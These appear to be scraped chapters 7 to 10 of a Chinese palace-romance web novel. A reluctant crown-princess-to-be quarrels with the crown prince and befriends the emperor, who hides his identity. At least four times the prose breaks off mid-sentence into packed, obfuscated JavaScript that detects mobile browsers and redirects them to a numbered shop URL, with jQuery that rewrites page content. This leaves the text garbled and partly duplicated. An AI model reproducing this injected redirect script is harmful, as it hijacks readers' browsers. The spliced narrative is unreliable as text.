内臣前脚从郑家出来,后脚就传遍大半个长安。 太子妃的人选总算是尘埃落定,但匆匆赶去郑家的郎中让一切又变得扑朔迷离起来。 众人议论的主角还在榻上躺着,顿感一阵刺痛,崔南栀倒抽口凉气,耳边传来“醒了醒了”“快去告诉夫人”的交头接耳声。 她慢慢睁开眼,郎中正在擦拭银针,她刚刚感受到的刺痛,就来自于这手指长的针。 崔南栀两眼一翻又要晕过去,陈夫人及时赶到,握住她的手:“好孩子,你刚是怎么回事,差点吓死我了。” “小娘子应当是急火攻心才晕过去,我刚施针放血,现在已经没事了。”郎中说道,“世上没什么过不去的坎,小娘子要放宽心。” 陈夫人安抚道:“你是不是吓着了?我已经着人修书一封送去宣州,过些日子你阿娘就能收到,想来你阿娘也会为你高兴。” 崔南栀坐起来喝红糖水,边听着陈夫人念叨。 “你晕过去了估计没听到,宫里先颁旨下来,会有女官教授你,东宫的册宝要等正式册封那天才会给。” “好事多磨,虽然多等了这些日子,但也不算辜负了。将来你可以把你阿娘接来长安住,你和你阿娘都出生在长安,母女团聚岂不是更好。” 陈夫人爱怜地望着眼前小女郎,乌黑长发散落在雪白肩颈间,脸颊少一点血色,刚醒来还有些迷蒙,平添几分脆弱感。 她看着崔南栀喝下红糖水,恢复些精神,才离开崔南栀的住所。 祝萦没走,她一直默默候在边上。 内臣传旨时她不在,但听女使说了当时的情形,完全能理解崔南栀为什么不想嫁太子。 他纵容手下人闹事、苛待臣子,可见不是什么好人。 但圣旨已下,现在长安权贵们都知道太子妃的人选,难道还有转圜余地吗? “暂且先走一步看一步吧。”祝萦柔声道,“若是他们以姿色挑选,表妹肯定是佼佼者,会当选也不奇怪。不过皇后的人选都能换,何况是太子妃呢。” 哪里不奇怪,如果他们是看画像选人,那才更奇怪。 崔南栀更郁闷,她还不能告诉祝萦画像的事,想破了头也想不明白,他们是怎么在一堆画像里挑中她的。 是看中画上平平无奇的容貌,还是阿耶过世后徒有其表的虚衔?该不会是有见不得人的癖好。不爱花容月貌的女郎,唯独偏好貌若无盐? 崔南栀被乱七八糟的猜想激起一身鸡皮疙瘩。 她有个很好的优点——想得开,凡事不要钻牛角尖,就像祝萦说得“走一步看一步”。封太子妃的流程很长,她早晚能想到办法。 可惜的是崔娘子接旨时当场晕倒的事已经传了出去,郎中进出郑家,多少双眼睛看着呢。 外人以为她是太高兴了才晕过去,甚至禁内也是这么想的,甚至送了些补品来。 不知道该说是好消息还是坏消息,这个版本听起来好像不太丢人,总不能真让人知道她是气晕过去的。 眼看禁足期限要熬到头了,太子度日如年。好不容易捱到最后一日,还得去见一见他未来的太子妃。 他对那位容貌平平的太子妃毫无兴趣,连打听都懒得打听。 崔南栀等了两炷香的工夫,太子连个影子都没出现,也没派小黄门告知原因。 女官们目目相觑,心想该如何告诉崔娘子太子不会来了,可第一次见面都不愿来,崔娘子能接受现实吗? 眼神传来递去,最终还是有位叫“水芝”的女官大着胆子站出来,唤了声“崔娘子”。 名门淑女们的教养再好,被晾了这么久任是谁都会有脾气,这气不能对着陛下撒也不能对着太子撒,通常来说就得有几个倒霉的宫人当出气筒。 “崔娘子——” 女郎像是如梦初醒,转过身来,没等水芝开口,她先问道:“太子不来了吗?” 水芝踌躇再三,点了点头:“太子事务绊身,今日怕是来不了了。” “他是来不了,还是不想来?”崔南栀问得直白,压根没想给他留面子。 水芝噎住,差点就把“不想来”说出口,用力掐了一把手心才忍住。 女官的沉默说明了一切,崔南栀冷哼一声。 “只是见个面都不肯来,不会是被我的画像吓到了吧?”崔南栀说道,“以貌取人,以偏概全。太子不会就这点胆量吧,连一个女郎都不如。胆色都花在教手下人横行霸道上了。他要是不想成婚,大可自己去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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属官得出结论:“五官还是那个五官,但改了许多。” 他一一指出,越听太子的脸越黑——她不但当着宫人的面讽刺他,原来还早就嫌弃他。 “崔娘子人呢?”太子擦干净手要去找人当面对峙。 “这个时间已经出宫门了吧。”属官道。 其实属官还藏了半截子话没说,崔娘子岂止是比画像好看,丰润秾丽。他第一眼看到都呆住了,就是太子殿下今天遭遇的打击太多,还是不知道为好。 崔南栀坐在车里,气呼呼地咬下一口蒸饼。 她十七年的修养让她忍住没在宫里骂出一句“王八蛋”。 说不失望肯定是假的,崔南栀一早就被叫起来更衣梳妆,她不情愿,但也是认认真真对待的。结果呢,对方压根没把她放在心上。 原本崔南栀想好了,如果太子也是被逼迫的,不想与她成婚,那就商量一下看看有没有什么办法体面地退婚。 想想也是,太子再不满意也不影响他三妻四妾,觉得正妻无趣那就再找几个红粉知己,这世道就是对男人更宽容。要是太子妃敢多招几个入幕之宾,言官们的唾沫星子都能淹死她。 等马车远离宫门,外面已经是人流涌动的大街,崔南栀咽下最后一口蒸饼,忿忿道:“他不想见我,我还不稀罕当太子妃呢。” 自家小娘子被冷落,芳丹也很不平:“太子着实做得不妥。” 所以说慈恩寺的菩萨可能没那么灵,没回应她的祈愿。 也可能是她心不够诚,被塞了个与之相反的人选。 “要不我们收拾包袱回宣州算了。”话一说完,崔南栀自己也意识到不妥,改口道,“算了,他也不可能一直躲着我,下次见到我非得当面问问他干嘛躲着我。” 太子与未来太子妃不太愉快的相处,已经被人呈禀到天子书案上。 天子只是简单翻阅便略过了,从他的视角来看,就是两个小辈的口舌之争,实在是没什么掺和的必要。天家的婚事都不是自己做主的,娶谁嫁谁,都有政治上的考量。 换句话说,太子连这种事都处理不好,将来接手国事岂不是更焦头烂额。崔娘子说几句大实话他就急了,以后还有臣子倚老卖老能指着皇帝鼻子骂,难道他也要一个个计较过去。 不知道怎么,他眼前浮现出慈恩寺那位小女郎的身影。 常进宝换茶水时无意间瞥了眼天子,惊得险些让茶水漫出去。 天子甚少会在批阅文书奏折时候走神,而他手上正拿着的那本,正是回禀崔娘子与太子的。 难道是看到未婚小夫妻的相处,觉得吵吵闹闹别有一番趣味,陛下心动了? “啪”一下,天子合上册子,放到边上。 常进宝回过神,把凉掉的茶水端走,心想还是太后给得压力太大,都让他产生错觉了。 “太子的禁足令解了吧。”天子道,“让他好好反思,下周宜春郡主出降,他该有分寸。” 常进宝应下,宜春郡主生母是昌乐公主,仪王的姐妹,郡主算下来也是太子的堂妹,太子不与仪王府的人来往是避嫌,但一起长大的小堂妹出降于情于理都该去送一送。 “昌乐公主派人来问,陛下会不会来。” 天子沉吟片刻,给了个肯定的答复,随即又道:“让宾客们知道会人心惶惶,我私底下去送份礼,明面上还是以宫里的名义给宜春郡主添妆。” 常进宝一一答应。 随后,那封册子就像被遗忘了一般,淹没在天子批阅过的奏折里,再没有被提起过。 8. 第 8 章 第8章 宜春郡主出降,请帖发到郑家府上。 陈夫人推给崔南栀,薄薄一张纸,崔南栀心情沉重地展开——她甚至还不知道昌乐公主府在哪,就要面对这么大场面了吗? “我一个人去吗?”崔南栀把求救的目光投向陈夫人。 有点戳中陈夫人的伤心事了,虽然丈夫官职尚可,但家中无爵位,没有诰命在身总是差了点面子。 “昌乐公主只请了你一人。”陈夫人正色道。 “上面也没写名字。”崔南栀说道,“这种好事,还是舅母去更合适吧。” 她逃避的心思太明显,被陈夫人戳破:“人家送过来时候是指明了你的。” 那她只能硬着头皮上了。 背地里说太子坏话时候她挺大胆的,但一下要当着这么多人的面,崔南栀无端紧张起来。 “只是去露个脸。”陈夫人把她推到镜前,“将来真的封了太子妃,做了皇后,要应付的场面还多着呢。” 镜子影影绰绰映出少女的身影,鸦发雪肤,纤秾合度。 崔南栀轻轻敛眸,一言不发,任由陈夫人给她挑选赴宴的衣裙首饰。 郡主出降当日,十里红妆不见尽头。 崔南栀提着裙角,小心翼翼地下车。芳丹递上名帖,女使们登时眼睛一亮,热情地围着她。 俗话说“好事不出门,坏事传千里”,尤其公主府对禁内的消息总是比旁人更灵通点,女使们也想见见这位接旨时晕过去的未来太子妃,听说太子和她还不大对付。 见到真人,女使们觉得是太子不识好歹了。 崔南栀到来的消息飞快地递出去,太子正让随从呈上礼单。 “崔娘子来了,快快请进来,正好太子也在。”昌乐公主吩咐下去。 太子顿时僵住,昌乐公主疼爱小辈,看他脸色不太好,贴心地让人取来冰过的饮子:“难为你有这份体贴宜春的心,姑母没白疼你。外面人多,秋老虎又燥,你坐下歇一歇陪姑母说说话。” 太子不好驳了她的面子,只好坐下。 崔南栀被女使带着,穿过弯弯绕绕的回廊。 见到婢女们簇拥着一位衣着华贵的妇人,她便猜到是宜春郡主的生母昌乐公主,乖巧地行了礼。 “好孩子,过来让我瞧瞧。”昌乐公主招呼她过去,崔南栀往前走了几步。 太子就坐在姑母身侧不远处,脸上的笑简直要挂不住。 她进来时太子就呆住了,属官只告诉他比画像上好看,但没说好看那么多啊! 他立即意识到自己被耍了,要不是周围有人,他肯定马上拍桌站起来质问。 昌乐公主刚给自己女儿送嫁,流了许多泪,重新敷粉也能看出淡淡的红肿之色。 她现在看年龄相仿的女郎眼神都充满母亲的慈爱,尤其崔南栀在她眼里也算半个待嫁之身。 崔南栀任由昌乐公主捏捏她的手、抚一抚她的脸颊,抬眸扫了眼边上面色不虞的男子。从她进来他就恶狠狠盯着自己,她和外人无冤无仇,再加上这人和昌乐公主好像很熟的样子,肯定是太子。 想到这,崔南栀微微弯唇。 美貌的女郎朝他微笑,颊边梨涡都显得熠熠生辉,一下让太子听到了心头小鹿乱撞的声音。 下一刻,女郎启唇,太子已经做好她要行礼的准备了,结果崔南栀冷不丁地问了句“这位是?”。 昌乐公主愣了下,也没想到原来这对未婚夫妻不认识彼此:“这位是太子。” “原来是太子殿下。”崔南栀微微欠身,“臣女久仰其名,第一次见面失了礼数,还望殿下海涵。” 她故意在“久仰其名”四个字咬重音,太子听出言外之意,这回只有他吃瘪,要是扯出来说,他被陛下禁足的事不就得被抖出来了。 如花般的美人原来是个带刺的,显然是在蓄意报复。 这一局太子被迫认栽,暗自给崔南栀记一笔。 昌乐公主是亲历过崔尚书救驾一事的,对崔南栀的态度自然不同,听她说是如何在宣州长大的。 崔南栀一口气讲了许多话,口干舌燥,喝了女使端上来的饮子,饱满红唇透着水润光泽。 她余光察觉到太子盯着她看,飞快地冲他翻了个白眼。 太子目瞪口呆,她怎么还有两幅面孔! 女使进来附在昌乐公主耳边窃窃私语,昌乐公主脸色微变。 崔南栀很懂事地起身告辞,昌乐公主还恋恋不舍:“有贵客到访,不便招待了,下回咱们再接着聊。” 女郎半个身子已经跨过门槛,太子还坐着,昌乐公主恨铁不成钢地拍他肩:“傻子,还坐着干什么?” 那杯饮子还没喝完呢,太子就被姑母赶出来,胸口堵着一口闷气无处发泄。 在崔南栀看来,太子简直阴魂不散。 今日万里无云,她找个阴凉地躲起来,太子也跟过来。 “这边凉快,你能在这我不能吗?”太子振振有词。 崔南栀差点就要说“那你哪凉快哪呆着去吧”,话到嘴边还是咽回去,她还有事要和太子商量。 其实太子对崔南栀的反感之情,在看到脸的一刹那已经消散大半。 毕竟是仪王的亲生儿子,对貌美的女郎没什么抵抗力,她翻个白眼都能美化成眼波流转。 女郎对他欲言又止的模样,让太子愈发觉得她只是羞于表达情愫,借着别扭的脾气暗示他主动开口。 “什么事,你直说吧。”太子决定满足她的心愿。 崔南栀眨了眨眼,心想这可是你自己说的,于是她用自认为还算委婉地措辞,缓缓开口道:“太子殿下,强扭的瓜不甜,我觉得这桩婚事还是取消的好。” 太子没想到等来她这番话:“为什么?” “我希望与未来的夫君情投意合,心有灵犀。”崔南栀说道,“长安有许多女郎心慕殿下,一定有比我更合适的人选。希望殿下能向陛下陈情,趁着现在册宝未下,取消婚约吧。” “胡说!圣旨岂非儿戏,金口玉言,哪能说取消就取消!” 被拒绝是意料之内,但崔南栀没想到太子反应那么大:“殿下不是也不喜欢我吗?不然为何那日不见我?” 这是能说的吗?说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725193|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他贪图美色,之前不想见是觉得她长得平平无奇,现在见了面觉得好看,就觉得暂时留着婚约也行。 “你还好意思说,你拿假画像来敷衍我,让圣人知道了肯定治你个欺君之罪。” 崔南栀满脸无辜:“什么假画像?那张画像就是照着我画的。”她露出恍然大悟的神情,“我知道了,殿下是以貌取人……” “够了!”太子被戳穿,慌慌张张阻止她说下去,“你别想用激将法,我不会上你当的。” 他的自尊心不允许他相信竟然有女郎能主动坦言不喜欢他,也没看上太子妃的位置,而且还只是崔家不知道几房外的旁支。 小女郎的眼眸澄澈,他能从乌黑眼瞳中看到自己的身影和略显扭曲的脸庞。 崔南栀不知道自己哪句话踩中太子的痛处了,反应如此激烈。 天子与昌乐公主进行短暂地叙旧,以不想打扰众人为由离开。 只是随便转一转,就碰到在廊边吵吵闹闹的两人。 他听出太子的声音,另一道女声十分耳熟,天子和常进宝难得躲在边上偷看了会儿。 昌乐公主口中“柔顺讨喜的太子妃”,竟然就是连着两次出手相助的小女郎。 那还真是巧。 天子想起慈恩寺听到的祈愿,再和太子一对比,也难怪两人一见面就有矛盾。 他颔首示意常进宝过去解决争端,太子看到常进宝,立即哑火。 崔南栀还疑惑太子怎么突然哑巴了,见他眼神往后瞟,转身看到脸熟的人。 常进宝出现说明天子就在附近,太子有些怕他这个皇叔,打个招呼就灰溜溜夹着尾巴走人。 崔南栀行了礼,眉眼弯弯:“好巧。” 常进宝还礼:“见过崔娘子,我家主人经过,无意间听到崔娘子与人争论。” 崔南栀一下脸红,嗫嚅道:“是我没注意,不知道被听到了多少……” “也不多,从以貌取人开始。”天子从拐角处出来,“并非有心听壁脚,先给小娘子赔礼了。” 崔南栀掩唇,惊得后退一步。 前两次她都没见到对方长什么样,这回他走出来,反倒让崔南栀不知所措。 他有一副很好的样貌,似乎混了些胡人血脉,五官比常人更深邃点,鼻梁高挺,目若朗星。配上他的公服,光是站在那就透着不容忽视的威仪。 他比太子高,崔南栀的脸要再仰起一些才能看清他的脸。 听说高/祖皇帝就有胡人血统,因此天潢贵胄们多多少少掺了点异域长相。 他这副模样,身份多半是不一般的。 “前两次多亏先生出手相助,还不知道先生的身份?” 天子略一沉吟,说道:“晋王。” 常进宝无语凝噎,这是陛下登基前的封号,陛下现在的新乐子难道是伪装成亲王来逗一个小姑娘吗? “晋王殿下。”女郎鸦睫轻颤,柔声复述。 长安权贵那么多,她哪里记得哪些亲王去了封地,哪些留在长安。 “不用这么拘束。”天子道,“你同太子一道称我‘皇叔’。” 9. 第 9 章 第9章 “唔……皇叔?”崔南栀试探着叫了声,“有点奇怪。” 天子问:“哪里奇怪?” “突然多了个长辈,不大习惯。”崔南栀眨了眨眼,笑意明媚,“除了家里人,皇叔是我到长安后认识的第一个人。” “昌乐公主不算吗?”他问。 崔南栀想了想,道:“公主待我好,是因为公主认为我是太子妃的原因吧?但晋王殿下不像是这个缘由。” 她不熟悉人,但不是对人际关系一窍不通的深闺女郎,普通人尚且不会对陌生人这么热情,何况是人情更单薄的天潢贵胄。第一次见面就熟络的模样,有七八分是看在前些天的圣旨上。不然就会像她舅母陈夫人那样,请帖都不会送来。 而晋王与她两次相遇都只是擦肩而过的路人,不知道彼此的身份,说话做事都是出自本心。 天子欣然颔首:“你看得很透。” 遽然被夸奖,崔南栀一下双颊生烫,刚刚故作老成的做派烟消云散,露出羞涩赧然的少女情态。 崔南栀讪讪:“还以为皇叔会笑话我。” 还以为他听到了她与太子半程对话,会笑她自不量力,或是斥她出言不当。他一个亲王,把事情告发到陛下那边,她肯定没好果子吃。 “有自己的主见而不随波逐流,已经超越许多人。” 难怪人家是亲王,比太子多吃了几年米和盐,心性被多打磨几年,言行举止不能比,客客气气的,比太子会说话多了,还很会发现她的优点。 这么一对比,太子在她心里印象更糟糕。 被人肯定的滋味很好,崔南栀已经把刚才和太子的不愉快忘得差不多了。同龄人的评价无足轻重,但是被一位稳重的长辈称赞,忍不住叫人飘飘然。 崔南栀嘴上谦虚,面上已经是克制不住的雀跃神情,藏不住半点心事。 风吹竹林簌簌,隔了两道墙,一并传来模糊的喝彩声。 崔南栀仰头望去,不知道他们在为何事欢呼:“他们在做什么?” “在打马球。”天子解释道。 长安贵族间很流行马球运动,年轻人多的场合,少不得来几局马球赛。 她听舅母说出降的宜春郡主就爱打马球,公主宠爱她,给她建了个马球场。 宣州没什么人打马球,崔南栀只见过一两回,也就是在一块空地上骑马挥杆、连个球都打不中的半吊子游戏。 “我可以看看吗?”崔南栀明面上在征求意见,实际眼神早就飘忽到墙的另一侧去了。 天子点点头,崔南栀拎起裙子用披帛挽上系个结,跃跃欲试踩上墙角的假山。 谁都没料到宣州来的崔小娘子如此豪放,一截脚腕白得晃神,天子都呆怔片刻,迅速地转过身,低声喝道:“常进宝!” 常进宝咋舌,心想崔小娘子真是个不拘小节的人,一边提防她踩空一边提醒:“崔娘子您慢一点儿。” 假山崎岖,她穿着丝履行动不能自如,常进宝又要仔细扶着不让她摔倒,又怕手没放对位置冒犯到崔娘子,额上汗水比她一个爬高的人都多。 登上假山,越过墙头能看到稍远处的风景。 马球场果然很气派,四面八方的旗帜飞扬,时机凑巧,她刚上来就看到有人挥杆打进一球,周围爆发出热烈的欢呼声。 “是进球了吗?”底下传来问询声。 “进了。”崔南栀呀了一声,“还是个小娘子。” 刚刚挥杆进球的女郎拉着缰绳转过身来,英姿飒爽,球杆分量不轻,她摆弄起来却轻松自如。 崔南栀目不转睛地盯着球场上的身影,丝毫没有注意到,晋王也在看她。 崔小娘子眼睛闪闪发亮,一眨不眨,视线紧紧跟随那位球技甚佳的女郎,脖颈被晒出一层薄薄细汗也顾不上擦。 不然怎么说长安是个人人都想去的地方呢,她如果一直住在宣州,可能一辈子都看不到这样的场景。 崔南栀感慨着,恋恋不舍地从假山上爬下来,还止不住地回头张望。要不是常进宝眼疾手快,非得磕着碰着不可。 天子对马球已经司空见惯,他也是打马球的好手,登基多年反而找不到什么人能再与他痛痛快快赛一场,空有一身马球技艺却无处施展。 不过眼前似乎有个现成的人选,崔南栀对马球表现出了浓厚的兴趣,天子思忖片刻决定主动探探口风:“真有这么好看?” 崔南栀点头:“好看!” 年轻的女郎脸颊晒得红扑扑的,笑容明媚粲然如朝霞。 他心里好像也有一根久未触动的弦被拨动了,陷入生机盎然的春光。 “你想打吗?” 崔南栀还没反应过来:“是……打马球吗?”她慌忙摆手,“我不会打,我都没摸过杆子。” “你想学的话我可以教你。”天子主动提出。 小女郎的目光在他脸上转了又转,似是在确认此言真实性。她忸怩半晌,说道:“晋王殿下不嫌弃我蠢笨的话……” 狡黠的崔小娘子连这时候也要留个余地,生怕她学不好会被晋王奚落。毕竟看是一回事,亲自上手又是另一回事。 天子泰安自若:“我自然是把握才会教你。” “那就麻烦晋王殿下了。”崔南栀话刚出口,被他截下。 “但有一个要求。” “您说。” “不要和旁人提起今日遇到过我,打马球的事也不要外传。”天子比了个噤声的手势,“这是秘密。” 崔南栀立即答应:“就算有人用刀抵着我,我也不会说的!” 天子发笑:“不会有人用刀抵着威胁你的。” “时候不早,昌乐公主那估计要开筵了。”天子提醒道,“崔娘子先回去比较好,不然女使们找不到人难免要焦急。” 崔南栀瞥了眼天色,意识到她在外面待了太久,匆匆忙忙向晋王告别离开。 果然如晋王所说,菜肴已经摆在各自桌上,她再晚到一会儿就得顶着众人的目光进来了。 这会儿崔南栀才想起她忘了问晋王在哪里打马球。 四下张望,却没找到他的身影。 算了,君子一言驷马难追,晋王要是个守信用的人,也知道她的身份,肯定会想法子让人传话给她的。 “你在找谁?” 身后突兀地传来一道声音。 崔南栀循声望去,太子摇着扇子,好整以暇道:“不会是在找我吧?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725194|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他见到晋王灰溜溜地遁走,和现在居高临下的样子就像两个人。 崔南栀答应过不会提起,她是个信守承诺的人,也不能用这事儿讥他,只好答道:“那倒不是,明明是殿下您主动送上门啊。” “你——”太子啪一下合上扇子,竟然无法反驳,“你以为是我愿意吗?”他指指脚边座位:“在外人看来我们是未婚夫妻,座位就该安排在一处,说得好像是我贴上来似的。” 崔南栀敷衍地应两声。 气氛僵持,俄顷,太子还是坐下来,但把垫子往远处挪了挪。 即使如此,女郎身上淡雅的气息还是清晰可闻,随着夹菜的动作,窄袖滑落,余光总是能瞥到细白手腕。 “我问你,你刚见到那人,有说什么吗?” “殿下说得是谁?” “明知故问!”太子压低声音,咬牙切齿。 崔南栀摇头:“没有,殿下离开之后,我也走了。” 太子的视线在她面上梭巡,崔南栀一脸茫然天真,他没找到可疑证据,便相信她的话。 在昌乐公主府见到圣人,跟大白天活见鬼有什么区别? 这话太子只能在心里抱怨,肯定是不敢说出来的,更不可能让自己未来的太子妃知道他的弱点,不然崔南栀去找圣人告状,圣人就会责罚她。 崔尚书的救驾之功就是免死金牌,不论崔南栀做什么说什么,他都是不占优势的一方。 “我也有事要问殿下呢。”崔南栀夹起一块炙肉,“退婚的事殿下考虑的如何?” 太子被讨好惯了,顺理成章觉得那块炙肉要喂给他,扬起下颌,却没闻到肉香味。他一转头,崔南栀咬下半块炙肉,细嚼慢咽。 “不考虑!” 崔南栀又是一脸莫名其妙:“这么凶干什么?”她低头,视线落在吃了一半的肉片上,再抬头看看太子的神情,恍然大悟,“殿下想吃?”她作势就要把筷子递上去。 太子愤怒地后仰:“拿走拿走,你吃过的东西怎么还要给我吃!” 真难伺候啊。 崔南栀腹诽。 “崔南栀,你是不是故意气我的?”太子一连吃了好几片肉泄愤,“我跟你说我不吃这套,你越想故意刺激我去退婚,我就偏不退。” 崔南栀耸肩:“殿下,您要是这么想,我也没办法。”她又叹气又摇头,“殿下说什么就是什么吧。” 就像一拳打进棉花里,太子本来还想着成婚之后再怎么着东宫还是他做主,但要是天天被崔南栀这么冷嘲热讽,好像也不算他占上风。 回宫的马车停在公主府侧门,天子不想惊动外人,没有从正门离开。 常进宝跟在他身后,感慨道:“崔小娘子真是个伶俐的姑娘。” “毕竟是崔积繁养出来的。” “不过崔小娘子是不是不记得您了?”常进琢磨着问道。 天子面上没什么情绪:“那会儿她才几岁,记不得也正常。” 常进宝驾车驶入宫城,又多嘴一句:“陛下,到时候崔小娘子问起学马球的事儿,奴婢怎么说?” 天子往车窗外瞥一眼,空旷广场除了几个洒扫的小黄门,平时都不会有外人经过,“就延英殿吧。” 10. 第 10 章 第10章 回家后,陈夫人询问公主府的事,崔南栀只说了昌乐公主,没怎么提到太子。 陈夫人追问好几次,她才不情不愿地又讲了些。 并非是她存心与长辈作对,而是陈夫人从一开始就觉得嫁与太子是一门极好的亲事,至于崔南栀三番两次表达对太子并无好感这件事,似乎是被陈夫人刻意忽略了。 “昌乐公主对你印象不错,她又是太子殿下的姑母,有她为你说话能增色不少,以后可常与他们往来。”陈夫人循循教诲,“至于太子殿下的态度,年轻人气盛,再多多相处,过些日子就好了。” 年轻气盛,那他气也太盛了,也就那种逆来顺受的软包子能忍受吧。 换作崔南栀肯定得落个两败俱伤的结局。 “男人嘛……” “咳咳咳——” 陈夫人要开始讲解她的驭夫之术,郑鹤荣猛地咳嗽起来,打断她的话,拼命给崔南栀使眼色让她赶紧走。 “舅舅是不是身体不舒服啊?公务繁忙,我就不打扰了,您多喝热水啊。”崔南栀倒杯水推过去,迅速地溜之大吉。 男人嘛,就算惧内,也想在小辈面前留点面子。 回院子路上,郑煜正好迎面走来。 自从他调去东宫任职,崔南栀就很少在郑家见到他,每天都是早出晚归行色匆匆,似乎事情很多很忙的样子。 “表哥。”崔南栀喊住他。 郑煜道“看表妹过来的方向,是刚见过阿耶阿娘吗?” “陪舅母说了会儿话。” 见郑煜打个招呼就要走,崔南栀喊住他:“表哥在东宫任职还顺利吗?先前看表哥忙得脚不沾地的,也不敢打扰。” 郑煜犹豫了下,说道:“还行,之前对诸多事务不熟悉,处理起来确实比较慢,现在已经好多了。” “那就好,表哥也要多注意身体。” 郑煜道了声好:“你托祝萦送来的香药很好用,若非这些日子有它们提神醒脑,恐怕我还坚持不下来。” “能帮到表哥就好。”崔南栀生出几分成就感,几句寒暄后,郑煜看起来还有事,她也不好再和表哥多说话。 大家都有各自的事要忙,崔南栀也不能像刚来京城那会儿成日里无所事事,她现在每周都得见两次教习女官。 等了两周,晋王也没有约她去打马球,而在昌乐公主府看的那场马球赛,也逐渐从她记忆里淡去。 崔南栀宽慰自己,说不定晋王都忘了他许下过承诺,她也只是个无足轻重的臣女。 就在崔南栀已经不抱什么期望时,拐角处忽然出现个眼熟的身影。 常进宝被天子派来找崔娘子,估摸着今日的教习也差不多结束了,躲在柱子后探头探脑。 “是你?”崔南栀张了张口,不知道对方的名字,只能换个称呼,“是晋王殿下的内臣?” “崔娘子叫我名字就行,常进宝。”他见过礼,“崔娘子之后空闲吗?我家主人有请。” 晋王现在是在皇宫里吗? 崔南栀心下疑惑,还是提裙跟上他的脚步。 天子已在延英殿等候,他没忘了与崔南栀的承诺,只是近日忙着处理秋收事宜,折子积压,前两日才处理得差不多,得了空闲就让常进宝把打马球的器具都找出来。 握着马球杆,还能回忆起几分少年时在球场意气风发的心情。只是上次畅快地打一场马球是什么时候,他自己都记不得了。 常进宝边带路边想道,能让陛下等的人真没几个,还非让他提前去打听崔小娘子的安排,等她上完课才相邀。这晋王的身份分明是陛下挖个坑自己跳进去,现在崔小娘子还蒙在鼓里呢,也不知道她发觉真相后是什么心情。 陛下不立后不选妃他跟着着急,现在主动和女郎打交道了,常进宝却心如止水。他瞧着陛下看崔娘子的眼神,好像也只是对救命恩人之女的爱护,看不出有什么别的意思。 延英殿四周空旷,崔南栀四下环视都没见到第三个人,忍不住询问:“这边是哪,怎么连个人都没有呀?” “陛下平时常在含元殿和紫宸殿召见朝臣,延英殿闲置许久了。”常进宝说道。 原来还特地找了一处无人的殿宇,晋王真是想得周到。 天子踱步而出,小女郎提着裙摆三两步跳上台阶,好似被微风裹挟的柔软花瓣,轻盈地飘到他身边。 “晋王殿下!”崔南栀笑起来露出浅浅梨涡,眸光转了转,落在腰侧挂着的香囊上,“咦?这是我之前送给皇叔的那个吗?” 天子颔首。 送出去的东西能被对方随身带着,就是对崔南栀最大的肯定。 “那下次我再给您做个新的,这么久日子过去估计里面的香料药材也没什么味儿了。” 天子不置可否,只是淡声道:“东西很好用,若是有心也可以给其他人做一些送去。” 崔南栀迟疑一下。小女郎冰雪聪明,很快就理解他的意思:“我明白了。” 常进宝牵着两匹马来,一大一小,小的那匹是给谁准备的,不言而喻。 “你会骑马吗?” “会的。”崔南栀小跑过去,小马温顺地低下头,任由女郎抚摸头顶。 其实打马球的马不应当选如此温顺的,缺少冲劲,但考虑到崔小娘子只是个新手,也不知道骑术如何,宫人只奉上了这匹已经调教好专给女眷使用的小马。 她解下手臂间的披帛,拔去头顶发钗,脚踩马镫—— 没蹬上去。 崔南栀又试了试,还是没成功。 小马蹭了蹭她的手心,呜咽一声,摇摇尾巴以示安慰。 另一边,天子已经翻身上马转了两圈,回头就看到崔南栀费劲上马的一幕。 崔南栀看明白了,靠她自己想上马是有点困难的,把求救的目光投向晋王。 天子说了声冒犯,伸出手:“把手给我,借力上马。” 崔南栀又尝试一次,踩上马镫。 晋王的手比她大上一圈,掌心一层薄茧蹭得略有些痒。他只是轻松地一拽,就把崔南栀拉上马背,挽起的衣袖露出一截小臂,发力时青筋隐现。 崔南栀双颊隐隐发烫,偷看一眼晋王,对方毫无反应,只是好心拉她一把方便上马而已。 她迅速把脑子里乱七八糟的念头赶走,注意力放到身下小马。 “马球冲撞时很容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725195|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易让马匹受惊,如果没能在此时安抚、控制好,马匹就容易发狂。”天子说着,注意到崔南栀好像对自己的马很感兴趣。 天子的坐骑是宫内层层筛选上来的,鬃毛都保养得油光滑亮。 他叹口气:“它性子烈,认主,旁人坐不上去。” 